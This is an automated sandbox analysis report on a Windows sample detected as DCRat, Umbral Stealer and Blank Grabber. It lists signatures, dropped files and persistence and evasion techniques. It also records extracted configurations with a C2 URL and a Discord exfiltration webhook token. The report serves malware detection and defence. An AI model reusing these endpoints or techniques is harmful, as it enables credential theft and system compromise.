Windows Analysis Report
FixTsDfhiC.exe

Overview

General Information

Sample name: FixTsDfhiC.exe
renamed because original name is a hash value
Original sample name: BBD6FFDB33259778F08704696A04891F.exe
Analysis ID: 1545204
MD5: bbd6ffdb33259778f08704696a04891f
SHA1: 0fd836bb4bfc035ff35ebe0fb47e4693cec9e8ba
SHA256: 841eb644979b3c640761762645c9cd26f9bb46e558eaeb7bf0c2a79e761878f4
Tags: exeFormbookuser-abuse_ch
Infos:

Detection

Blank Grabber, DCRat, Umbral Stealer
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Blank Grabber
Yara detected DCRat
Yara detected Umbral Stealer
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Check if machine is in data center or colocation facility
Creates an autostart registry key pointing to binary in C:\Windows
Creates an undocumented autostart registry key
Creates multiple autostart registry keys
Creates processes via WMI
Detected VMProtect packer
Disable Windows Defender real time protection (registry)
Disables Windows Defender (deletes autostart)
Drops PE files to the user root directory
Drops PE files with benign system names
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
Machine Learning detection for dropped file
Machine Learning detection for sample
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
Sigma detected: Disable Important Scheduled Task
Sigma detected: Files With System Process Name In Unsuspected Locations
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect virtualization through RDTSC time measurements
Tries to evade analysis by execution special instruction (VM detection)
Uses cmd line tools excessively to alter registry or file data
Uses schtasks.exe or at.exe to add and modify task schedules
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))
Checks if the current process is being debugged
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops PE files to the user directory
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Entry point lies outside standard sections
File is packed with WinRar
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: CurrentVersion NT Autorun Keys Modification
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Too many similar processes found
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Yara detected Credential Stealer
Yara signature match

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: FixTsDfhiC.exe Avira: detected
Antivirus detection for dropped file
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\blockweb\WmiPrvSE.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\blockweb\RuntimeBroker.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Windows\AppReadiness\dwm.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\AppData\Local\Temp\Nu8jJRNGRr.bat Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Avira: detection malicious, Label: HEUR/AGEN.1307507
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\Default\ApplicationFrameHost.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Windows\INF\.NET Data Provider for Oracle\SgrmBroker.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\blockweb\J6PsSzBYKK7mXTJyYh2Tgne.vbe Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\blockweb\portrefNet.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Found malware configuration
Source: 0000002C.00000002.1950988676.000000001256F000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: DCRat {"SCRT": "{\"y\":\"&\",\"9\":\"*\",\"c\":\"~\",\"w\":\">\",\"z\":\"%\",\"I\":\".\",\"U\":\")\",\"V\":\"`\",\"T\":\"-\",\"O\":\"|\",\"e\":\"#\",\"l\":\"!\",\"d\":\"(\",\"n\":\"$\",\"u\":\" \",\"0\":\"<\",\"5\":\",\",\"D\":\"@\",\"P\":\";\",\"A\":\"_\",\"k\":\"^\"}", "PCRT": "{\"1\":\"`\",\"0\":\"%\",\"U\":\">\",\"B\":\"(\",\"i\":\"*\",\"E\":\";\",\"S\":\"$\",\"j\":\".\",\"N\":\"!\",\"W\":\" \",\"F\":\"&\",\"m\":\")\",\"b\":\"|\",\"V\":\"<\",\"2\":\"-\",\"M\":\"_\",\"k\":\"#\",\"Z\":\",\",\"z\":\"^\",\"d\":\"@\",\"J\":\"~\"}", "TAG": "", "MUTEX": "DCR_MUTEX-m6OlBBIvNMvFZXdW1d4i", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 0, "AUR": 2, "ASCFG": {"searchpath": "%UsersFolder% - Fast"}, "AS": false, "ASO": false, "AD": false, "H1": "http://cp91897.tw1.ru/@=MzY2MWOkV2N", "H2": "http://cp91897.tw1.ru/@=MzY2MWOkV2N", "T": "0"}
Source: 36.0.52cheatand52rat.exe.239bb8d0000.0.unpack Malware Configuration Extractor: Umbral Stealer {"C2 url": "https://discord.com/api/webhooks/1266665187293794356/BgUJDQi9QXAA0avjRcAiy-uTUWdbVUSk8SQjon--JNjDxPP5bEhE6DLfJFghJ_KLSRhA ", "Version": "v1.3"}
Multi AV Scanner detection for dropped file
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe ReversingLabs: Detection: 87%
Source: C:\Program Files\7-Zip\Lang\ukzoUeHPfeDwGdTDRNL.exe ReversingLabs: Detection: 87%
Source: C:\Program Files\Windows Portable Devices\ukzoUeHPfeDwGdTDRNL.exe ReversingLabs: Detection: 87%
Source: C:\ProgramData\Package Cache\{D5D19E2F-7189-42FE-8103-92CD1FA457C2}v14.36.32532\ukzoUeHPfeDwGdTDRNL.exe ReversingLabs: Detection: 87%
Source: C:\Recovery\ukzoUeHPfeDwGdTDRNL.exe ReversingLabs: Detection: 87%
Source: C:\Users\Default\ApplicationFrameHost.exe ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe ReversingLabs: Detection: 84%
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe ReversingLabs: Detection: 75%
Source: C:\Users\user\Videos\ukzoUeHPfeDwGdTDRNL.exe ReversingLabs: Detection: 87%
Source: C:\Users\user\ukzoUeHPfeDwGdTDRNL.exe ReversingLabs: Detection: 87%
Source: C:\Windows\AppReadiness\dwm.exe ReversingLabs: Detection: 87%
Source: C:\Windows\INF\.NET Data Provider for Oracle\SgrmBroker.exe ReversingLabs: Detection: 87%
Source: C:\Windows\Performance\WinSAT\DataStore\ukzoUeHPfeDwGdTDRNL.exe ReversingLabs: Detection: 87%
Source: C:\Windows\Setup\State\ukzoUeHPfeDwGdTDRNL.exe ReversingLabs: Detection: 87%
Source: C:\blockweb\RuntimeBroker.exe ReversingLabs: Detection: 87%
Source: C:\blockweb\WmiPrvSE.exe ReversingLabs: Detection: 87%
Source: C:\blockweb\portrefNet.exe ReversingLabs: Detection: 87%
Source: C:\blockweb\ukzoUeHPfeDwGdTDRNL.exe ReversingLabs: Detection: 87%
Multi AV Scanner detection for submitted file
Source: FixTsDfhiC.exe ReversingLabs: Detection: 92%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe Joe Sandbox ML: detected
Source: C:\blockweb\WmiPrvSE.exe Joe Sandbox ML: detected
Source: C:\blockweb\RuntimeBroker.exe Joe Sandbox ML: detected
Source: C:\Windows\AppReadiness\dwm.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe Joe Sandbox ML: detected
Source: C:\Users\Default\ApplicationFrameHost.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe Joe Sandbox ML: detected
Source: C:\Windows\INF\.NET Data Provider for Oracle\SgrmBroker.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe Joe Sandbox ML: detected
Source: C:\blockweb\portrefNet.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\en-US\ukzoUeHPfeDwGdTDRNL.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: FixTsDfhiC.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: FixTsDfhiC.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
Source: C:\blockweb\portrefNet.exe Directory created: C:\Program Files\Windows Portable Devices\ukzoUeHPfeDwGdTDRNL.exe
Source: C:\blockweb\portrefNet.exe Directory created: C:\Program Files\Windows Portable Devices\4811fe426320bd
Source: C:\blockweb\portrefNet.exe Directory created: C:\Program Files\7-Zip\Lang\ukzoUeHPfeDwGdTDRNL.exe
Source: C:\blockweb\portrefNet.exe Directory created: C:\Program Files\7-Zip\Lang\4811fe426320bd
Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: Lunch LaCheat.exe, 00000022.00000003.1808515940.0000000004F74000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000002.1824780821.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000003.1805618598.000000000396E000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000002.1823791845.0000000003966000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000003.1807504603.0000000004CE9000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000002.1823496476.00000000036D8000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000003.1808928510.0000000005207000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000003.1806529098.0000000003BFA000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000002.1824009704.0000000003BF0000.00000004.00000020.00020000.00000000.sdmp, DCRatBuild.exe, 00000023.00000003.1807258543.0000000004D80000.00000004.00000020.00020000.00000000.sdmp, DCRatBuild.exe, 00000023.00000000.1805391607.0000000000763000.00000002.00000001.01000000.00000008.sdmp, DCRatBuild.exe, 00000023.00000002.1813955205.0000000000763000.00000002.00000001.01000000.00000008.sdmp, DCRatBuild.exe, 00000023.00000003.1808042217.0000000004E9A000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \Desktop\DCLIB-master\obj\Debug\DCLIB.pdbU.o. a._CorDllMainmscoree.dll source: portrefNet.exe, 0000002C.00000002.1947126022.00000000024A0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: \Desktop\DCLIB-master\obj\Debug\DCLIB.pdb source: portrefNet.exe, 0000002C.00000002.1947126022.00000000024A0000.00000004.08000000.00040000.00000000.sdmp
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0073A5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError, 35_2_0073A5F4
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0074B8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW, 35_2_0074B8E0
Source: C:\blockweb\portrefNet.exe File opened: C:\Users\user
Source: C:\blockweb\portrefNet.exe File opened: C:\Users\user\Documents\desktop.ini
Source: C:\blockweb\portrefNet.exe File opened: C:\Users\user\AppData
Source: C:\blockweb\portrefNet.exe File opened: C:\Users\user\AppData\Local\Temp
Source: C:\blockweb\portrefNet.exe File opened: C:\Users\user\Desktop\desktop.ini
Source: C:\blockweb\portrefNet.exe File opened: C:\Users\user\AppData\Local

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.4:49745 -> 92.53.106.114:80
Source: Network traffic Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.4:49890 -> 92.53.106.114:80
Source: Network traffic Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.4:50013 -> 92.53.106.114:80
Source: Network traffic Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.4:49803 -> 92.53.106.114:80
Source: Network traffic Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.4:50016 -> 92.53.106.114:80
Source: Network traffic Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.4:50019 -> 92.53.106.114:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://cp91897.tw1.ru/@=MzY2MWOkV2N
Source: Malware configuration extractor URLs: https://discord.com/api/webhooks/1266665187293794356/BgUJDQi9QXAA0avjRcAiy-uTUWdbVUSk8SQjon--JNjDxPP5bEhE6DLfJFghJ_KLSRhA
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 208.95.112.1 208.95.112.1
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TUT-ASUS TUT-ASUS
May check the online IP address of the machine
Source: unknown DNS query: name: ip-api.com
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: ip-api.com
Source: 52cheatand52rat.exe, 00000024.00000002.1876249048.00000239D5E8B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.microsoft
Source: 52cheatand52rat.exe, 00000024.00000002.1874351610.00000239BD56E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://gstatic.com
Source: 52cheatand52rat.exe, 00000024.00000002.1874351610.00000239BD5CA000.00000004.00000800.00020000.00000000.sdmp, 52cheatand52rat.exe, 00000024.00000002.1874351610.00000239BD5B6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ip-api.com
Source: Lunch LaCheat.exe, 00000022.00000002.1823074775.0000000001B56000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000002.1824992539.0000000004F70000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000003.1810385952.0000000001B1E000.00000004.00000020.00020000.00000000.sdmp, 52cheatand52rat.exe, 00000024.00000000.1810071008.00000239BB8D2000.00000002.00000001.01000000.0000000C.sdmp String found in binary or memory: http://ip-api.com/json/?fields=225545
Source: 52cheatand52rat.exe, 00000024.00000002.1874351610.00000239BD5B6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: Lunch LaCheat.exe, 00000022.00000002.1823074775.0000000001B56000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000002.1824992539.0000000004F70000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000003.1810385952.0000000001B1E000.00000004.00000020.00020000.00000000.sdmp, 52cheatand52rat.exe, 00000024.00000000.1810071008.00000239BB8D2000.00000002.00000001.01000000.0000000C.sdmp String found in binary or memory: http://ip-api.com/line/?fields=hostingI7AB5C494-39F5-4941-9163-47F54D6D5016I032E02B4-0499-05C3-0806-
Source: 52cheatand52rat.exe, 00000024.00000002.1874351610.00000239BD548000.00000004.00000800.00020000.00000000.sdmp, portrefNet.exe, 0000002C.00000002.1947296388.000000000279D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 52cheatand52rat.exe, 00000024.00000000.1810071008.00000239BB8D2000.00000002.00000001.01000000.0000000C.sdmp String found in binary or memory: https://discord.com/api/v10/users/
Source: 52cheatand52rat.exe, 00000024.00000002.1874351610.00000239BD4C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://discord.com/api/webhooks/1266665187293794356/BgUJDQi9QXAA0avjRcAiy-uTUWdbVUSk8SQjon--JNjDxPP
Source: Lunch LaCheat.exe, 00000022.00000002.1823074775.0000000001B56000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000002.1824992539.0000000004F70000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000003.1810385952.0000000001B1E000.00000004.00000020.00020000.00000000.sdmp, 52cheatand52rat.exe, 00000024.00000000.1810071008.00000239BB8D2000.00000002.00000001.01000000.0000000C.sdmp String found in binary or memory: https://discordapp.com/api/v9/users/
Source: 52cheatand52rat.exe, 00000024.00000000.1810071008.00000239BB8D2000.00000002.00000001.01000000.0000000C.sdmp String found in binary or memory: https://github.com/Blank-c/Umbral-Stealer
Source: 52cheatand52rat.exe, 00000024.00000002.1874351610.00000239BD560000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gstatic.com
Source: 52cheatand52rat.exe, 00000024.00000002.1874351610.00000239BD4C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gstatic.com/generate_204
Source: Lunch LaCheat.exe, 00000022.00000002.1823074775.0000000001B56000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000002.1824992539.0000000004F70000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000003.1810385952.0000000001B1E000.00000004.00000020.00020000.00000000.sdmp, 52cheatand52rat.exe, 00000024.00000000.1810071008.00000239BB8D2000.00000002.00000001.01000000.0000000C.sdmp String found in binary or memory: https://gstatic.com/generate_204e==================Umbral
Too many similar processes found
Source: reg.exe Process created: 50

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 36.0.52cheatand52rat.exe.239bb8d0000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 34.3.Lunch LaCheat.exe.1b56998.5.unpack, type: UNPACKEDPE Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 34.2.Lunch LaCheat.exe.1b56998.1.unpack, type: UNPACKEDPE Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 34.3.Lunch LaCheat.exe.1b56998.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 34.2.Lunch LaCheat.exe.1b56998.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe, type: DROPPED Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Detected VMProtect packer
Source: Lunch LaCheat.exe.1.dr Static PE information: .vmp0 and .vmp1 section names
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\SysWOW64\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8} Jump to behavior
Contains functionality to communicate with device drivers
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0073718C: __EH_prolog,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW, 35_2_0073718C
Creates files inside the system directory
Source: C:\blockweb\portrefNet.exe File created: C:\Windows\AppReadiness\dwm.exe
Source: C:\blockweb\portrefNet.exe File created: C:\Windows\AppReadiness\6cb0b6c459d5d3
Source: C:\blockweb\portrefNet.exe File created: C:\Windows\Performance\WinSAT\DataStore\ukzoUeHPfeDwGdTDRNL.exe
Source: C:\blockweb\portrefNet.exe File created: C:\Windows\Performance\WinSAT\DataStore\4811fe426320bd
Source: C:\blockweb\portrefNet.exe File created: C:\Windows\INF\.NET Data Provider for Oracle\SgrmBroker.exe
Source: C:\blockweb\portrefNet.exe File created: C:\Windows\INF\.NET Data Provider for Oracle\91e168f4ec1147
Source: C:\blockweb\portrefNet.exe File created: C:\Windows\Setup\State\ukzoUeHPfeDwGdTDRNL.exe
Source: C:\blockweb\portrefNet.exe File created: C:\Windows\Setup\State\4811fe426320bd
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0073857B 35_2_0073857B
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0073407E 35_2_0073407E
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0075D00E 35_2_0075D00E
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_007470BF 35_2_007470BF
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_00761194 35_2_00761194
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_007502F6 35_2_007502F6
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0073E2A0 35_2_0073E2A0
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_00733281 35_2_00733281
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_00746646 35_2_00746646
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0075473A 35_2_0075473A
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0075070E 35_2_0075070E
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_007327E8 35_2_007327E8
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_007437C1 35_2_007437C1
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0073E8A0 35_2_0073E8A0
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0073F968 35_2_0073F968
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_00754969 35_2_00754969
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_00746A7B 35_2_00746A7B
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_00743A3C 35_2_00743A3C
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0075CB60 35_2_0075CB60
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_00750B43 35_2_00750B43
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_00745C77 35_2_00745C77
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_00743D6D 35_2_00743D6D
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0073ED14 35_2_0073ED14
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0074FDFA 35_2_0074FDFA
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0073DE6C 35_2_0073DE6C
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0073BE13 35_2_0073BE13
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_00750F78 35_2_00750F78
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_00735F3C 35_2_00735F3C
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: String function: 0074ED00 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: String function: 0074E360 appears 52 times
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: String function: 0074E28C appears 35 times
PE file contains executable resources (Code or Archives)
Source: FixTsDfhiC.exe Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Uses 32bit PE files
Source: FixTsDfhiC.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
Uses reg.exe to modify the Windows registry
